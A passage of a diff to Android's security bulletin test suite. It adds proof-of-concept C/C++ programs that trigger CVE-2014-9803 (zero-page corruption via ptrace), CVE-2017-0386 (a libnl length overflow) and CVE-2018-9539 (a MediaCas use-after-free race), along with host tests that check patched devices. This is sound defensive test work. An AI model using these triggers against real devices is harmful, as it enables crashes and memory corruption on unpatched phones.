*/
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 11683fc..1954c49 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -56,6 +56,7 @@
<!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
<option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
<!-- Bulletin 2016-09 -->
@@ -78,6 +79,7 @@
<!--__________________-->
<!-- Bulletin 2017-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
<!--__________________-->
<!-- Bulletin 2017-02 -->
@@ -164,6 +166,11 @@
<option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
<!--__________________-->
+ <!-- Bulletin 2018-11 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
+
+ <!--__________________-->
<!-- Bulletin 2019-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
new file mode 100644
index 0000000..e9ffee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2014-9803
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
new file mode 100644
index 0000000..6ab4633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <../includes/common.h>
+
+volatile char *mem = 0;
+
+// child
+int check_zero_page() {
+ char *temp =
+ (char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ int zeropage = *(int *)temp;
+ munmap(temp, 4096);
+ return zeropage;
+}
+
+// child
+int do_child(int val) {
+ // enable tracing and wait until parent is finished unlocking zero page
+ ptrace(PTRACE_TRACEME, 0, 0, 0);
+ sleep(2);
+
+ mprotect((void *)mem, 4096, PROT_READ | PROT_WRITE);
+
+ // try to corrupt zero page
+ mem[0] = val;
+
+ int zeropage = check_zero_page();
+ return zeropage ? EXIT_VULNERABLE : 0;
+}
+
+// parent
+int do_trace(pid_t child) {
+ int status = 0;
+ sleep(1); // wait until child is set up
+ kill(child, SIGSTOP); // pause child
+ waitpid(child, &status, 0);
+
+ // unlock zero page
+ status = ptrace(PTRACE_PEEKDATA, child, mem, 0);
+
+ // stop tracing so child can continue
+ ptrace(PTRACE_DETACH, child, 0, 0);
+ kill(child, SIGCONT);
+ return status;
+}
+
+int main(void) {
+
+ char value = 0xAA;
+
+ mem = (volatile char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ mprotect((void *)mem, 4096, PROT_NONE);
+
+ pid_t child = fork();
+
+ if (child == 0) {
+ return do_child(value);
+ } else {
+ do_trace(child);
+ }
+
+ int status = 0;
+ waitpid(child, &status, 0); // wait for child to exit naturally
+ int exit = WEXITSTATUS(status); // get child exit status
+
+ munmap((void *)mem, 4096);
+
+ return exit;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..258944f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_SHARED_LIBRARIES := \
+ libnl \
+ libc \
+ liblog \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..90f3238
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,100 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2017-0386"
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+#include "../includes/common.h"
+
+int main(void) {
+ struct nl_msg *message = NULL;
+ struct nlmsghdr *hdr;
+ char *data = NULL;
+ uint32_t result = 0;
+ int ret = EXIT_SUCCESS;
+ int pagesize = getpagesize();
+ size_t payloadlength = pagesize + 12 - 0x30;
+ size_t payload2length = pagesize;
+
+ message = nlmsg_alloc();
+ if (message == NULL) {
+ ALOGE("Alloc message memory failed");
+ return EXIT_FAILURE;
+ }
+
+ ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+ hdr = message->nm_nlh;
+
+ //allocate memory for data with payloadlength
+ data = malloc(payloadlength);
+ if (data == NULL) {
+ ALOGE("Alloc data memory failed");
+ nlmsg_free(message);
+ return EXIT_FAILURE;
+ }
+
+ memset(data, 0x41, payloadlength);
+ nla_put(message, 0x4444, payloadlength, data);
+ result = hdr->nlmsg_len;
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", result);
+
+ free(data);
+ data = NULL;
+
+ //allocate memory for data with payload2length
+ data = malloc(payload2length);
+ if (data == NULL) {
+ ALOGE("Alloc data2 memory failed");
+ nlmsg_free(message);
+ return EXIT_FAILURE;
+ }
+ memset(data, 0x33, payload2length);
+ ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+ nla_put(message, 0x8888, 0xFFFFF000, data);
+
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", hdr->nlmsg_len);
+
+ /*
+ * return 113 error code if length is mismatch
+ */
+ if(result != hdr->nlmsg_len) {
+ ret = EXIT_VULNERABLE;
+ }
+
+ if(!data) {
+ free(data);
+ data = NULL;
+ }
+
+ if(!message) {
+ nlmsg_free(message);
+ message = NULL;
+ }
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
new file mode 100644
index 0000000..2be9f4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9539
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libutils \
+ liblog \
+ android.hardware.cas@1.0 \
+ android.hardware.cas.native@1.0 \
+ libhidlbase \
+ libhidltransport \
+ libhwbinder \
+ libbinder \
+ libcutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
new file mode 100644
index 0000000..5f9bd37
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
@@ -0,0 +1,179 @@
+#include <android/hardware/cas/1.0/ICas.h>
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/MemoryHeapBase.h>
+#include <utils/StrongPointer.h>
+
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using ::android::MemoryHeapBase;
+using ::android::sp;
+using ::android::hardware::hidl_handle;
+using ::android::hardware::hidl_memory;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::Return;
+using namespace android::hardware::cas::V1_0;
+using namespace android::hardware::cas::native::V1_0;
+
+#define CLEARKEY_SYSTEMID (0xF6D8)
+
+#define THREADS_NUM (5)
+
+typedef enum {
+ RESULT_CRASH,
+ RESULT_SESSION1,
+ RESULT_SESSION2,
+} thread_result_t;
+
+// Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
+static const char *provision_str =
+ "{ "
+ " \"id\": 21140844, "
+ " \"name\": \"Test Title\", "
+ " \"lowercase_organization_name\": \"Android\", "
+ " \"asset_key\": { "
+ " \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\" "
+ " }, "
+ " \"cas_type\": 1, "
+ " \"track_types\": [ ] "
+ "} ";
+static const uint8_t ecm_buffer[] = {
+ 0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
+ 0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
+ 0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
+ 0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
+ 0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
+ 0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
+ 0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
+};
+
+static sp<IDescrambler> descrambler;
+static pthread_barrier_t barrier;
+
+static void *thread_func(void *) {
+ // Prepare everything needed for an encrypted run of descramble
+
+ sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
+
+ native_handle_t *handle = native_handle_create(1, 0);
+ handle->data[0] = heap->getHeapID();
+
+ SharedBuffer src;
+ src.offset = 0;
+ src.size = 0x1000;
+ src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
+
+ DestinationBuffer dst;
+ dst.type = BufferType::SHARED_MEMORY;
+ dst.nonsecureMemory = src;
+
+ hidl_vec<SubSample> subsamples;
+ SubSample subsample_arr[0x100] = {
+ {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
+ subsamples.setToExternal(subsample_arr, 0x100);
+
+ Status descramble_status;
+
+ // Wait for all other threads
+ pthread_barrier_wait(&barrier);
+
+ // Run descramble
+ Return<void> descramble_result = descrambler->descramble(
+ ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
+ [&](Status status, uint32_t, const hidl_string &) {
+ descramble_status = status;
+ });
+
+ // Cleanup
+ native_handle_delete(handle);
+
+ if (!descramble_result.isOk()) {
+ // Service crashed, hurray!
+ return (void *)RESULT_CRASH;
+ }
+
+ // If descramble was successful then the session had a valid key, so it was
+ // session1. Otherwise it was session2.
+ return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
+ : RESULT_SESSION2);
+}
+
+int main() {
+ // Prepare cas & descrambler objects
+
+ sp<IMediaCasService> service = IMediaCasService::getService();
+ FAIL_CHECK(service != NULL);
+
+ sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
+ FAIL_CHECK(cas->provision(provision_str) == Status::OK)
+
+ sp<IDescramblerBase> descramblerBase =
+ service->createDescrambler(CLEARKEY_SYSTEMID);
+ descrambler = IDescrambler::castFrom(descramblerBase);
+
+ time_t timer = start_timer();
+ while (timer_active(timer)) {
+ // Prepare sessions
+ Status opensession_status;
+ hidl_vec<uint8_t> session1;
+ cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+ opensession_status = status;
+ session1 = sessionId;
+ });
+ FAIL_CHECK(opensession_status == Status::OK);
+ // Add a key to the first session. This will make descramble work only on
+ // the first session, helping us differentiate between the sessions for
+ // debugging.
+ hidl_vec<uint8_t> ecm;
+ ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
+ FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
+
+ hidl_vec<uint8_t> session2;
+ cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+ opensession_status = status;
+ session2 = sessionId;
+ });
+ FAIL_CHECK(opensession_status == Status::OK);
+
+ // Set the descrambler's session to session1, then close it (and remove it
+ // from the sessions map). This way the only reference on the service to
+ // session1 will be from descrambler's session.
+ FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
+ FAIL_CHECK(cas->closeSession(session1) == Status::OK);
+
+ // Prepare the threads which run descramble
+ FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
+ pthread_t threads[THREADS_NUM];
+ for (size_t i = 0; i < THREADS_NUM; i++) {
+ FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
+ }
+
+ // Let the threads run by waiting on the barrier. This means that past this
+ // point all threads will run descramble.
+ pthread_barrier_wait(&barrier);
+
+ // While the threads are running descramble, change the descrambler session
+ // to session2. Hopefully this will cause a use-after-free through a race
+ // condition, session1's reference count will drop to 0 so it will be
+ // released, but one thread will still run descramble on the released
+ // session.
+ FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
+
+ // Go over thread results
+ for (size_t i = 0; i < THREADS_NUM; i++) {
+ thread_result_t thread_result;
+ FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
+ if (thread_result == RESULT_CRASH) {
+ return EXIT_VULNERABLE;
+ }
+ }
+
+ // Cleanup
+ FAIL_CHECK(cas->closeSession(session2) == Status::OK);
+ FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index 6800dc9..bc93c1e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -23,6 +23,16 @@
// exit status code
#define EXIT_VULNERABLE 113
+#define FAIL_CHECK(condition) \
+ if (!(condition)) { \
+ fprintf(stderr, "Check failed:\n\t" #condition "\n\tLine: %d\n", \
+ __LINE__); \
+ exit(EXIT_FAILURE); \
+ }
+
+#define _32_BIT UINTPTR_MAX == UINT32_MAX
+#define _64_BIT UINTPTR_MAX == UINT64_MAX
+
time_t start_timer(void);
int timer_active(time_t timer_started);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
index cd39c56..86f930b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
@@ -79,14 +79,23 @@
* Utility to get the device memory total by reading /proc/meminfo and returning MemTotal
*/
private static long getMemTotal(ITestDevice device) throws DeviceNotAvailableException {
- String memInfo = device.executeShellCommand("cat /proc/meminfo");
- Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
- Matcher matcher = pattern.matcher(memInfo);
- if (matcher.find()) {
- return Long.parseLong(matcher.group(1));
- } else {
- throw new RuntimeException("Could not get device memory total");
+ // cache device TotalMem to avoid an adb shell for every test.
+ String serial = device.getSerialNumber();
+ Long totalMemory = totalMemories.get(serial);
+ if (totalMemory == null) {
+ String memInfo = device.executeShellCommand("cat /proc/meminfo");
+ Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+ Matcher matcher = pattern.matcher(memInfo);
+ if (matcher.find()) {
+ totalMemory = Long.parseLong(matcher.group(1));
+ } else {
+ throw new RuntimeException("Could not get device memory total.");
+ }
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+ "Device " + serial + " has " + totalMemory + "KB total memory.");
+ totalMemories.put(serial, totalMemory);
}
+ return totalMemory;
}
/**
@@ -94,24 +103,14 @@
* Match this call to SecurityTestCase.setup().
*/
public synchronized void start() throws Exception {
- // cache device TotalMem to avoid and adb shell for every test.
- Long totalMemory = totalMemories.get(getDevice().getSerialNumber());
- if (totalMemory == null) {
- totalMemory = getMemTotal(getDevice());
- totalMemories.put(getDevice().getSerialNumber(), totalMemory);
- }
+ long totalMemory = getMemTotal(getDevice());
isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
// reset test oom behavior
- // Low memory devices should skip (pass) tests when OOMing and log so that the
- // high-memory-test flag can be added. Normal devices should fail tests that OOM so that
- // they'll be ran again with --retry. If the test OOMs because previous tests used the
- // memory, it will likely pass on a second try.
- if (isLowMemoryDevice) {
- oomBehavior = OomBehavior.PASS_AND_LOG;
- } else {
- oomBehavior = OomBehavior.FAIL_AND_LOG;
- }
+ // Devices should fail tests that OOM so that they'll be ran again with --retry.
+ // If the test OOMs because previous tests used the memory, it will likely pass
+ // on a second try.
+ oomBehavior = OomBehavior.FAIL_AND_LOG;
oomDetected = false;
// Cache OOM detection in separate persistent threads for each device.
@@ -207,12 +206,11 @@
Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
"lowmemorykiller detected; rebooting device.");
synchronized (HostsideOomCatcher.this) { // synchronized for oomDetected
- oomDetected = true;
+ oomDetected = true; // set HostSideOomCatcher var
}
try {
device.nonBlockingReboot();
device.waitForDeviceOnline(60 * 2 * 1000); // 2 minutes
- context.updateKernelStartTime();
} catch (Exception e) {
Log.e(LOG_TAG, e.toString());
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 1e33083..dcabb76 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -38,4 +38,12 @@
assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
logcat);
}
+
+ /**
+ * b/28557020
+ */
+ @SecurityTest(minPatchLevel = "2016-07")
+ public void testPocCVE_2014_9803() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 629f83f..107ac45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -124,4 +124,12 @@
assertTrue(!result.equals("Vulnerable"));
}
}
+
+ /**
+ * b/32255299
+ */
+ @SecurityTest(minPatchLevel = "2017-01")
+ public void testPocCVE_2017_0386() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
index 02436e7..b1ed666 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -29,4 +29,22 @@
public void testPocCVE_2017_13286() throws Exception {
LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
}
+
+ /**
+ * b/69634768
+ * Does not require root but must be a hostside test to avoid a race condition
+ */
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testPocCVE_2017_13288() throws Exception {
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13288", getDevice());
+ }
+
+ /**
+ * b/70398564
+ * Does not require root but must be a hostside test to avoid a race condition
+ */
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testPocCVE_2017_13289() throws Exception {
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13289", getDevice());
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
new file mode 100644
index 0000000..a678ab3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_06 extends SecurityTestCase {
+
+ /**
+ * CVE-2018-5884
+ */
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void testPocCVE_2018_5884() throws Exception {
+ String wfd_service = AdbUtils.runCommandLine(
+ "pm list package com.qualcomm.wfd.service", getDevice());
+ if (wfd_service.contains("com.qualcomm.wfd.service")) {
+ String result = AdbUtils.runCommandLine(
+ "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
+ getDevice());
+ assertNotMatchesMultiLine("Broadcast completed", result);
+ }
+ }
+
+ /**
+ * CVE-2018-5892
+ */
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void testPocCVE_2018_5892() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "pm list package com.emoji.keyboard.touchpal", getDevice());
+ assertFalse(result.contains("com.emoji.keyboard.touchpal"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index 9e50e1e..81911ed 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -31,4 +31,12 @@
assertTrue(AdbUtils.runCommandGetExitCode(
"pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
}
+
+ /**
+ * b/113027383
+ */
+ @SecurityTest(minPatchLevel = "2018-11")
+ public void testPocCVE_2018_9539() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
new file mode 100644
index 0000000..3ab1829
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import static org.junit.Assert.*;
+
+public class RegexUtils {
+ private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
+
+ public static void assertContains(String pattern, String input) throws Exception {
+ assertFind(pattern, input, false, false);
+ }
+
+ public static void assertContainsMultiline(String pattern, String input) throws Exception {
+ assertFind(pattern, input, false, true);
+ }
+
+ public static void assertNotContains(String pattern, String input) throws Exception {
+ assertFind(pattern, input, true, false);
+ }
+
+ public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
+ assertFind(pattern, input, true, true);
+ }
+
+ private static void assertFind(
+ String pattern, String input, boolean shouldFind, boolean multiline) {
+ // The input string throws an error when used after the timeout
+ TimeoutCharSequence timedInput = new TimeoutCharSequence(input, 60_000); // 1 minute
+ Matcher matcher = null;
+ if (multiline) {
+ // DOTALL lets .* match line separators
+ // MULTILINE lets ^ and $ match line separators instead of input start and end
+ matcher = Pattern.compile(
+ pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
+ } else {
+ matcher = Pattern.compile(pattern).matcher(timedInput);
+ }
+
+ try {
+ long start = System.currentTimeMillis();
+ boolean found = matcher.find();
+ long duration = System.currentTimeMillis() - start;
+
+ if (duration > 1000) { // one second
+ // Provide a warning to the test developer that their regex should be optimized.
+ CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
+ }
+
+ if (found && shouldFind) { // failed notContains
+ String substring = input.substring(matcher.start(), matcher.end());
+ String context = getInputContext(input, matcher.start(), matcher.end(),
+ CONTEXT_RANGE, CONTEXT_RANGE);
+ fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
+ context + "...");
+ } else if (!found && !shouldFind) { // failed contains
+ fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
+ }
+ } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
+ // regex match has taken longer than the timeout
